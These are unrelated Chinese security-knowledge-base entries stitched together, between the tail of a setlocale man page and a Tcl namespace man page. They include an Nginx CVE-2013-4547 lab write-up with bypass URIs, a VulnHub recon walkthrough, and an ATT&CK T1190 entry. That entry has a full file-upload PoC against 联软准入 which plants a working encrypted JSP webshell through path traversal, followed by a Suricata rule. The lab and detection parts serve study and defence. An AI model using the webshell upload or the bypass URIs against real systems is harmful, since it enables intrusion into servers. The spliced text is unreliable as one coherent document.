setlocale(LC_ALL, """""") 函数, 并且 从 .B localeconv() 调用 的 返回 中 获得 和 区域选项 相关的 信息, 如果 .BR "MB_CUR_MAX > 1" 就用 多字节 和 宽字节 函数 来 处理 文本, 用 .BR strcoll() ", " wcscoll() 或者 .BR strxfrm() ", " wcsxfrm() 来 比较 字符串, 这样 就可以 使 程序 有 较好的 移植性. .SH "返回值 (RETURN VALUE)" 一个 成功的 .B setlocale() 调用 会 返回 一个 表示 当前 区域选项 的 字符串 (指针). 这个 字符串 可能 是在 静态 存储区 中 分配 的. 之后 用 相应的 category 和 这个 字符串 作为 参数 再去 调用 这个 函数 会 重新 把 程序 区域选项 的 相应 部分 恢复. 如果 请求 不能 完成 将会 返回 .B NULL . .SH "遵循 (CONFORMING TO)" ANSI C, POSIX.1 .SH "注意 (NOTES)" Linux (也就是, GNU libc) 支持 可移植的 .BR """C""" " 和 " """POSIX""" 区域选项. 在 以前 它 曾经 支持 欧洲 Latin-1 区域选项 .B """ISO-8859-1""" (比如说 在 libc-4.5.21 和 libc-4.6.27 中), 和 俄罗斯的 .B """KOI-8""" (更 准确点 是, "koi-8r") 区域选项 (比如 在 libc-4.6.27 中), 所以 设置 一个 环境变量 LC_CTYPE=ISO-8859-1 就 能够 让 isprint() 返回 正确的 结果. 现在 不讲 英语 的 欧洲人 会 比以前 更麻烦 一些, 他们 需要 安装 相应 的 区域选项 文件. .SH "参见 (SEE ALSO)" .BR locale (1), .BR localedef (1), .BR strcoll (3), .BR isalpha (3), .BR localeconv (3), .BR strftime (3), .BR charsets (4), .BR locale (7) .SH "[中文版维护人]" .B 唐友 \<tony_ty@263.net\> .SH "[中文版最新更新]" .BR 2001/12/2 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
# Nginx 文件名逻辑漏洞(CVE-2013-4547) 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 参考链接: - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4547 - https://blog.werner.wiki/file-resolution-vulnerability-nginx/ - http://www.91ri.org/9064.html ## 漏洞原理 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。 举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下: ``` location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT /var/www/html; } ``` 正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。 而存在CVE-2013-4547的情况下,我们请求`1.gif[0x20][0x00].php`,这个URI可以匹配上正则`\.php$`,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是`1.gif[0x20]`,就设置其为`SCRIPT_FILENAME`的值发送给fastcgi。 fastcgi根据`SCRIPT_FILENAME`的值进行解析,最后造成了解析漏洞。 所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。 再举个例子,比如很多网站限制了允许访问后台的IP: ``` location /admin/ { allow 127.0.0.1; deny all; } ``` 我们可以请求如下URI:`/test[0x20]/../admin/index.php`,这个URI不会匹配上location后面的`/admin/`,也就绕过了其中的IP验证;但最后请求的是`/test[0x20]/../admin/index.php`文件,也就是`/admin/index.php`,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制) ## 漏洞复现 启动漏洞环境: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080/`即可看到一个上传页面。 这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个“1.gif ”,注意后面的空格: ![](01.png) 访问`http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php`,即可发现PHP已被解析: ![](02.png) 注意,[0x20]是空格,[0x00]是`\0`,这两个字符都不需要编码。
sec-knowleage
# T1190-联软任意文件上传 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 联软科技产品「准入」存在任意文件上传 ## 检测日志 HTTP ## 测试复现 联软任意文件上传POC ```yml POST /uai/download/uploadfileToPath.htm HTTP/1.1 HOST: xxxxx ... ... -----------------------------570xxxxxxxxx6025274xxxxxxxx1 Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp" Content-Type: image/png <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> -----------------------------570xxxxxxxxx6025274xxxxxxxx1 Content-Disposition: form-data; name="uploadpath" ../webapps/notifymsg/devreport/ -----------------------------570xxxxxxxxx6025274xxxxxxxx1-- ``` 返回信息:200OK、文件上传成功 ## 测试留痕 无! ## 检测规则/思路 ### Suricata规则 ```s alert http any any -> any any (msg:"联软任意文件上传";flow:established,to_server;content:"POST";http_method;content:"/uai/download/uploadfileToPath.htm";content:"/webapps/notifymsg/devreport/";http_client_body;reference:url,www.hedysx.com/2627.html;classtype:web-application-attck;sid:3002012;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> 联软准入系统任意文件上传 <https://www.hedysx.com/2627.html>
sec-knowleage
# DERPNSTINK: 1 > https://download.vulnhub.com/derpnstink/VulnHub2018_DeRPnStiNK.ova 靶场IP:`192.168.32.215` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.215 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 04:05 EDT Nmap scan report for 192.168.32.215 Host is up (0.00051s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 00:0C:29:8D:63:64 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds ``` ftp不允许匿名 ![image-20220908160615359](../../.gitbook/assets/image-20220908160615359.png) 访问80端口 ![image-20220908160634946](../../.gitbook/assets/image-20220908160634946.png) 爆破目录 ``` ┌──(root💀kali)-[/tmp] └─# dirb http://192.168.32.215/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Sep 8 04:06:40 2022 URL_BASE: http://192.168.32.215/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.215/ ---- ==> DIRECTORY: http://192.168.32.215/css/ + http://192.168.32.215/index.html (CODE:200|SIZE:1298) ==> DIRECTORY: http://192.168.32.215/javascript/ ==> DIRECTORY: http://192.168.32.215/js/ ==> DIRECTORY: http://192.168.32.215/php/ + http://192.168.32.215/robots.txt (CODE:200|SIZE:53) + http://192.168.32.215/server-status (CODE:403|SIZE:294) ==> DIRECTORY: http://192.168.32.215/temporary/ ==> DIRECTORY: http://192.168.32.215/weblog/ ---- Entering directory: http://192.168.32.215/css/ ---- ---- Entering directory: http://192.168.32.215/javascript/ ---- ==> DIRECTORY: http://192.168.32.215/javascript/jquery/ ---- Entering directory: http://192.168.32.215/js/ ---- ---- Entering directory: http://192.168.32.215/php/ ---- + http://192.168.32.215/php/info.php (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.32.215/php/phpmyadmin/ ---- Entering directory: http://192.168.32.215/temporary/ ---- + http://192.168.32.215/temporary/index.html (CODE:200|SIZE:12) ---- Entering directory: http://192.168.32.215/weblog/ ---- + http://192.168.32.215/weblog/index.php (CODE:200|SIZE:14674) ==> DIRECTORY: http://192.168.32.215/weblog/wp-admin/ ==> DIRECTORY: http://192.168.32.215/weblog/wp-content/ ==> DIRECTORY: http://192.168.32.215/weblog/wp-includes/ + http://192.168.32.215/weblog/xmlrpc.php (CODE:405|SIZE:42) ```
sec-knowleage
'\" '\" Copyright (c) 1993-1997 Bell Labs Innovations for Lucent Technologies '\" Copyright (c) 1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: namespace.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: namespace.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH namespace 3tcl 8.0 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME namespace \- 建立及操作给命令和变量的上下文 .SH "总览 SYNOPSIS" \fBnamespace \fR?\fIoption\fR? ?\fIarg ...\fR? .BE .SH "描述 DESCRIPTION" .PP \fBnamespace\fR 命令让你建立、访问、和销毁给命令和变量的独立的上下文。名字空间的概述参见下面的\fBWHAT IS A NAMESPACE?\fR (什么是名字空间) 章节。下面列出了合法的 \fIoption \fR。注意你可以缩写这些 \fIoption \fR。 .TP \fBnamespace children \fR?\fInamespace\fR? ?\fIpattern\fR? 返回属于名字空间 \fInamespace \fR的所有子名字空间的一个列表。如果未指定\fInamespace\fR,则返回当前名字空间的所有子名字空间。这个命令返回完全限制的(fully-qualified)的名字,它们以 \fB:: \fR开始。如果给出了可选的 \fIpattern\fR ,则这个命令只返回匹配通配符式样模式的名字。确定实际使用的模式如下: 以 \fB::\fR 开始的模式直接使用,否则把命令空间 \fInamespace\fR (或当前名字空间的完全限制的名字) 加在这个模式的前面。 .TP \fBnamespace code \fIscript\fR 为以后执行脚本 \fIscript \fR而捕获(Capture)当前的名字空间上下文。它返回一个新脚本,在这个结果脚本中 \fIscript\fR 被包裹在一个 \fBnamespace inscope\fR 命令中。新脚本有两个重要的特性。首先,它可以在任何名字空间中被求值,而导致 \fIscript\fR 在当前的名字空间(调用 \fBnamespace code\fR命令的那个名字空间)中被求值。其次,可以向结果脚本添加补充的参数 并且它们将被作为补充参数而传递给 \fIscript\fR 。例如,假设在名字空间 \fB::a::b\fR 中调用命令\fBset script [namespace code {foo bar}]\fR。则可以在任何名字空间中执行 \fBeval "$script x y"\fR (假定 \fBscript\fR 的值已经被正确的传递进来) 而与命令 \fBnamespace eval ::a::b {foo bar x y} \fR有相同的效果。这个命令是必须有的,因为象 Tk 这样的扩展一般在全局名字空间中执行回调脚本。一个有作用域的(scoped)命令把一个命令和它的名字空间上下文一起捕获,在这种方式下就能在以后正确的执行它。如何使用这个命令建立回调脚本的例子参见\fBSCOPED VALUES\fR (有作用域的值)章节。 .TP \fBnamespace current\fR 返回给当前名字空间的完全限定的名字。全局名字空间的实际的名字是“”(一个空串),但这个命令为了编程者的方便而为全局名字空间返回 \fB::\fR。 .TP \fBnamespace delete \fR?\fInamespace namespace ...\fR? 删除所有的名字空间 \fInamespace\fR 和这些名字空间包含的所有变量、过程、和子名字空间。如果在名字空间中一个过程正在执行,在这个过程返回之前这个过程保持存在;但是,会标记这个名字空间来防止其他代码通过名字查找它。如果一个名字空间不存在,这个命令返回一个错误。如果未给出名字空间名字,这个命令什么也不做。 .TP \fBnamespace eval\fR \fInamespace arg\fR ?\fIarg ...\fR? 激活叫 \fInamespace\fR 的名字空间并在这个上下文中对某些脚本进行求值。如果这个名字空间不存在,则建立它。如果指定了多于一个 \fIarg\fR 参数,则用与 \fBeval\fR命令一样的方式把这些参数串联起来并用空格彼此分隔,并对结果进行求值。 .br .sp 如果 \fInamespace\fR 有前导的名字空间限定符并且有的前导名字空间不存在,则自动建立它们。 .TP \fBnamespace export \fR?\-\fBclear\fR? ?\fIpattern pattern ...\fR? 指定从一个名字空间中导出那些命令。导出的那些命令以后可以被其他名字空间用 \fBnamespace import\fR 命令导入。在一个名字空间中定义的命令和这个名字空间以前导入的命令二者都可以被这个名字空间导出。在执行\fBnamespace export\fR 命令的时候,这些(要导出的)命令不是必须已经被定义了。每个 \fIpattern\fR 可以包含通配符式样的特殊字符,但不可以包含任何名字空间限定符。就是说,模式只能指定在当前(导出)的名字空间中的命令。把所有 \fIpattern \fR添加到这个名字空间的导出模式列表上。如果给出了 -\fBclear\fR 标志,则在添加任何 \fIpattern\fR 参数之前,重置这个名字空间的导出模式列表为空。如果未给出 \fIpattern\fRs 并且未给出 -\fBclear\fR标志,这个命令返回这个名字空间当前的导出列表。 .TP \fBnamespace forget \fR?\fIpattern pattern ...\fR? 删除以前从一个名字空间导入的命令。所有 \fIpattern\fR 都是一个限定的命令如 \fBfoo::x\fR 或 \fBa::b::p*\fR。限定的名字包含 \fB::\fR并且用一个或多个名字空间的名字限制一个名字。每个 \fIpattern\fR 被一个导出名字空间的名字所限制,并且在限定的名字的结束处可以有通配符式样的特殊字符。通配字符可以不出现在名字空间的名字中。这个命令首先查找匹配的导出命令。接着检查是否有些命令是以前由当前名字空间导入的。如果有,这个命令删除相应的导入的命令。效果上,这个命令撤消 \fBnamespace import\fR命令的动作。 .TP \fBnamespace import \fR?\fB\-force\fR? ?\fIpattern\fR \fIpattern ...\fR? 导入命令到一个名字空间中。所有 \fIpattern\fR都是一个限定的命令如\fBfoo::x\fR 或 \fBa::p*\fR。就是说,它包括一个导出名字空间的名字,并且在限定的名字的结束处可以有通配符式样的特殊字符。通配字符可以不出现在名字空间的名字中。把所有匹配某个 \fIpattern\fR 字符串并且被它们的名字空间导出的命令添加到当前名字空间中。这是通过在当前名字空间中建立一个新命令,这个新命令指向在它的原始名字空间中的导出命令;当调用这个新导入的命令的时候,它调用那个导出的命令。如果一个导入的命令与一个现存的命令有冲突,则这个命令通常返回一个错误。但是,如果给出了 -\fBforce\fR 选项,在则导入命令将悄无声息的替换现存的命令。\fBnamespace import\fR 命令有当前快照(snapshot)语义: 就是说,在要求(导入)的命令中,只导入在导出的名字空间中定义了的那些命令。换句话说,你只能导入在执行 \fBnamespace import\fR 的时候在一个名字空间中(已经存在)的命令。如果此后又定义并导出了其他命令,则不会导入它们。 .TP \fBnamespace inscope\fR \fInamespace arg\fR ?\fIarg ...\fR? 在一个特定的名字空间的上下文中执行一个脚本。不希望编程者直接执行这个命令;例如,在应用使用 \fBnamespace code\fR命令建立回调脚本,并且应用接着要向 Tk组件注册它的时候,隐式的生成对它的调用。除了有 \fBlappend\fR语义并且名字空间必须已经存在之外,\fBnamespace inscope\fR命令与 \fBnamespace eval\fR 命令非常相似。它把第一个参数作为一个列表来对待,接着把后面的所有参数作为适当的列表元素添加到第一个参数的尾部。\fBnamespace inscope ::foo a x y z\fR 等价于\fBnamespace eval ::foo [concat a [list x y z]]\fR。这个 \fBlappend>\fR语义很重要,因为许多回调 脚本实际上是前缀。 .TP \fBnamespace origin \fIcommand\fR 返回导入的命令 \fIcommand\fR所引用的原始命令的完全限定的名字。当一个命令被导入一个名字空间的时候,在这个名字空间中建立一个新命令,它指向在导出名字空间中的实际命令。如果一个命令被导入到一个名字空间的序列 \fIa, b,...,n \fR之中,这里每一个后续的名字空间只从前面的名字空间中导入命令,这个命令返回在第一个名字空间中的原始命令的完全限定的名字 \fIa\fR。如果 \fIcommand\fR不引用一个导入的命令,返回这个(\fIcommand\fR)命令自己的完全限定的名字。 .TP \fBnamespace parent\fR ?\fInamespace\fR? 返回给名字空间 \fInamespace\fR 的父名字空间的完全限定的名字。如果未指定 \fInamespace\fR,返回当前名字空间的父名字空间的完全限定的命令。 .TP \fBnamespace qualifiers\fR \fIstring\fR 返回给 \fIstring \fR的所有前导的名字空间限定符。限定符是由 \fB::\fR分隔的名字空间的名字。对于 \fIstring\fR \fB::foo::bar::x\fR,这个命令返回 \fB::foo::bar\fR,而对于 \fB::\fR它返回一个空串。这个命令与 \fBnamespace tail\fR 命令互补。注意,它不检查名字空间的名字事实上是否是目前定义的名字空间的名字。 .TP \fBnamespace tail\fR \fIstring\fR 返回在一个限定的字符串尾部的简单名字。限定符是由 \fB::\fR分隔的名字空间的名字。对于 \fIstring\fR \fB::foo::bar::x\fR,这个命令返回 \fBx\fR,而对于 \fB::\fR它返回一个空串。这个命令与 \fBnamespace qualifiers\fR命令互补。它不检查名字空间的名字事实上是否是目前定义的名字空间的名字。 .TP \fBnamespace which\fR ?\-\fBcommand\fR? ?\-\fBvariable\fR? \fIname\fR 把 \fIname\fR 作为一个命令或者变量来查找并返回它的完全限定的名字。例如,如果 \fIname\fR 在当前名字空间中不存在但在全局名字空间中存在,这个命令返回在全局名字空间中的一个完全限定的名字。如果这个命令或变量不存在,这个命令返回空串。如果变量已经建立但未被定义,比如通过 \fBvariable\fR 命令或通过在变量上\fBtrace\fR(进行追踪),这个命令返回这个变量的完全限定的名字。如果未给出标志,\fIname\fR被作为一个命令的名字。关于名字解析的规则的解释请参见下面的\fBNAME RESOLUTION\fR (名字解析)章节。 .SH "什么名字空间 WHAT IS A NAMESPACE?" .PP 一个名字空间是命令和变量的一个集合(collection)。它封装命令和变量来确保它们不会被其他名字空间中命令和变量所干扰。Tcl 总是有一个这样的集合,它被引用为\fIglobal namespace\fR (全局名字空间)。全局名字空间持有所有全局变量和命令。\fBnamespace eval\fR命令让你建立一个新的名字空间。例如, .CS \fBnamespace eval Counter { namespace export bump variable num 0 proc bump {} { variable num incr num } }\fR .CE 建立包含变量 \fBnum\fR 和过程 \fBbump \fR的一个新的名字空间。在这个名字空间中的命令和变量独立于在同一个程序中的其他命令和变量。例如,如果在全局名字空间中有一个叫 \fBbump\fR的命令,它不同的于在 \fBCounter\fR 名字空间中的 \fBbump\fR 命令。 .PP 名字空间变量类似于在 Tcl 中的全局变量。它们存在于名字空间中的过程之外,但象在上面的例子中展示的那样,在同一个名字空间中的过程可以通过 \fBvariable\fR 命令访问它。 .PP 名字空间是动态的。你可以在任意时候增加及删除命令和变量,所以你可以使用一系列 \fBnamespace eval\fR命令分几次(over time)来建造一个名字空间的内容。例如,下面的一系列命令与上面展示的定义有相同的效果: .CS \fBnamespace eval Counter { variable num 0 proc bump {} { variable num return [incr num] } } namespace eval Counter { proc test {args} { return $args } } namespace eval Counter { rename test "" }\fR .CE 注意在例子中向 \fBCounter\fR 名字空间增加了 \fBtest\fR 过程,后来又用 \fBrename\fR命令把它删除了。 .PP 在名字空间内可以又其他的名字空间,它们是有层次的嵌套。一个嵌套的名字空间被封装在它的父名字空间中并且不会被其他名字空间所干扰。 .SH "限定的名字 QUALIFIED NAMES" .PP 每个名字空间都有一个文本名字比如\fBhistory\fR 或 \fB::safe::interp\fR。因为名字空间可以嵌套,使用限定的名字来引用在名字空间中的命令、变量、和包含子名字空间。除了使用 \fB::\fR作为分隔符而不是 \fB/\fR 或 \fB.\fR 之外,限定的(qualified)名字类似于给 Unix 文件或 Tk 组件的有层次的路径,最顶层或全局名字空间拥有名字“” (一个空串),而 \fB::\fR 是它的同义词。例如,名字 \fB::safe::interp::create\fR 引用在名字空间 \fB::safe \fR的子名字空间 \fBinterp\fR 中的命令 \fBcreate\fR,\fB::safe \fR是全局名字空间 \fB:: \fR的子名字空间。 .PP 如果你打算从其他的名字空间中访问命令和变量,你必须使用额外的语法。名字必须被包含它们的名字空间所限定。例如我们可以象下面这样访问 \fBCounter\fR 的过程: .CS \fBCounter::bump 5 Counter::Reset\fR .CE 我们可以象下面这样访问当前的 count (变量的值): .CS \fBputs "count = $Counter::num"\fR .CE 当一个名字空间包含另一个的时候,要到达它的元素你可能需要多于一个的限定符。如果我们有一个名字空间 \fBFoo\fR,它包含名字空间 \fBCounter\fR,你可以象下面这样从全局名字空间调用它的 \fBbump\fR 过程: .CS \fBFoo::Counter::bump 3\fR .CE .PP 你还可以在建立和重命名命令的时候使用限定的名字。例如,你可以象下面这样向 \fBFoo\fR增加一个过程: .CS \fBproc Foo::Test {args} {return $args}\fR .CE 你可以象下面这样把同一个过程移动到另一个名字空间中: .CS \fBrename Foo::Test Bar::Test\fR .CE .PP 我们覆盖(cover)剩下的一些关于限定的名字的要点。除了全局名字空间之外名字空间有非空的名字。除了作为名字空间分隔符,不允许 \fB::\fR 在简单命令、变量、和名字空间名字中使用。在限定的名字中忽略额外的 \fB:\fR ;就是说,两个或更多的 \fB: \fR被作为一个名字空间分隔符。在一个限定的变量或命令名字中的尾随的 \fB::\fR 引用叫做 {} 的变量或命令。但是忽略在一个限定的名字空间名中的尾随的 \fB::\fR。 .SH NAME .PP 一般的,所有接受变量和命令的名字的 Tcl 命令都支持限定的名字。这意味着你可以把限定的名字给这样的命令如\fBset\fR、\fBproc\fR、\fBrename\fR、和 \fBinterp alias\fR。如果你提供了以 \fB:: \fR开始的一个完全限定的名字,对任何命令、变量、或名字空间多没有问题。但是,如果这个名字不以一个 \fB::\fR 开始(它是\fI相对的\fR),Tcl 依据一个固定的规则来查找它: 解析命令和变量名字总是首先在当前的名字空间中查找,接着在全局名字空间中查找。另一方面,解析名字空间总是在当前名字空间中查找。 .PP 在下列例子中, .CS \fBset traceLevel 0 namespace eval Debug { printTrace $traceLevel }\fR .CE Tcl 在名字空间 \fBDebug\fR 中查找 \fBtraceLevel\fR接着在全局名字空间中查找,它以相同的方式查找命令 \fBprintTrace\fR。如果一个变量或命令的名字在这两个上下文中都找不到,则这个名字是未定义的。为了使这一点绝对清楚,考虑下列例子: .CS \fBset traceLevel 0 namespace eval Foo { variable traceLevel 3 namespace eval Debug { printTrace $traceLevel } }\fR .CE 这里 Tcl 首先在名字空间 \fBFoo::Debug \fR中查找 \fBtraceLevel\fR。因为在这里未找到,Tcl 接着在全局名字空间中查找。在名字解析过程中完全忽略了变量 \fBFoo::traceLevel\fR。 .PP 你可以使用 \fBnamespace which\fR 命令来清除关于名字解析的任何问题: .CS \fBnamespace eval Foo::Debug {namespace which \-variable traceLevel}\fR .CE 返回 \fB::traceLevel\fR。另一方面,命令, .CS \fBnamespace eval Foo {namespace which \-variable traceLevel}\fR .CE 返回 \fB::Foo::traceLevel\fR. .PP 如上面提及的那样,查找名字空间名字与变量和命令的名字不同。总是在当前名字空间中解析名字空间名字。这意味除非新名字空间的名字以一个 \fB::\fR开始,否则建立一个新名字空间的 \fBnamespace eval\fR 命令总是建立当前名字空间的一个子名字空间。 .PP Tcl 对你可以引用的变量、命令、或名字空间没有访问控制。如果你能提供一个限定的名字来通过名字解析规则解析到一个元素,你就可以访问这个元素。 .PP 你可以通过 \fBvariable\fR 命令从同一个名字空间中的一个过程中访问一个名字空间变量。非常象 \fBglobal\fR 命令,它建立到名字空间变量的一个本地连接。如果需要,这个命令还在当前的名字空间中建立这个变量并初始化它。注意:\fBglobal\fR命令只建立到在全局名字空间中的变量的连接。如果你总是使用一个适当的限定的名字来引用名字空间变量,则使用 \fBvariable\fR 命令不是必须的。 .SH "导入命令 IMPORTING COMMANDS" .PP 名字空间经常用来表示库。一些库命令使用的如此频繁以至于键入它们的限定的名字是极其烦人的。例如, 假设在一个包如 BLT 中的所有命令都包含在一个叫 \fBBlt \fR的名字空间中。则你可以象下面这样访问这些命令: .CS \fBBlt::graph .g \-background red Blt::table . .g 0,0\fR .CE 如果你频繁使用 \fBgraph\fR 和 \fBtable\fR 命令,你可能希望访问它们而不用加 \fBBlt::\fR前缀。你可以通过把它导入到当前名字空间中的方式来达到此目的。例如: .CS \fBnamespace import Blt::*\fR .CE 这个例子把从 